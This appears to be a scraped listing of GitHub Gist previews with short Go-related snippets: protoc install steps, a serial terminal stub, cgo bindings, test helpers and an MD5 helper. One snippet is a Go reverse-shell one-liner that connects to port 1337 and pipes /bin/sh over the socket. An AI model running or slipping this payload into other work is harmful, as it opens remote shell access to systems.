| # Make sure you grab the latest version | |
| curl -OL https://github.com/google/protobuf/releases/download/v3.2.0/protoc-3.2.0-linux-x86_64.zip | |
| # Unzip | |
| unzip protoc-3.2.0-linux-x86_64.zip -d protoc3 | |
| # Move protoc to /usr/local/bin/ | |
| sudo mv protoc3/bin/* /usr/local/bin/ | |
| # Move protoc3/include to /usr/local/include/ |
| // junkterm is a quick and dirty serial terminal. | |
| package main | |
| import ( | |
| "io" | |
| "log" | |
| "os" | |
| "github.com/pkg/term" | |
| "github.com/spf13/cobra" |
| package main | |
| import ( | |
| "./binding" | |
| "fmt" | |
| ) | |
| func main() { | |
| binding.PrintHello() | |
| binding.Seed(1) | |
| fmt.Println(binding.Random()) |
| My name is {{.Name}} and I'm {{.Age}} years old!! |
... or Why Pipelining Is Not That Easy
Golang Concurrency Patterns for brave and smart.
By @kachayev
| // helper methods for testing | |
| package test | |
| import ( | |
| "fmt" | |
| "path/filepath" | |
| "runtime" | |
| "testing" | |
| ) |
| echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go |
| import ( | |
| "crypto/md5" | |
| "encoding/hex" | |
| ) | |
| func GetMD5Hash(text string) string { | |
| hasher := md5.New() | |
| hasher.Write([]byte(text)) | |
| return hex.EncodeToString(hasher.Sum(nil)) | |
| } |
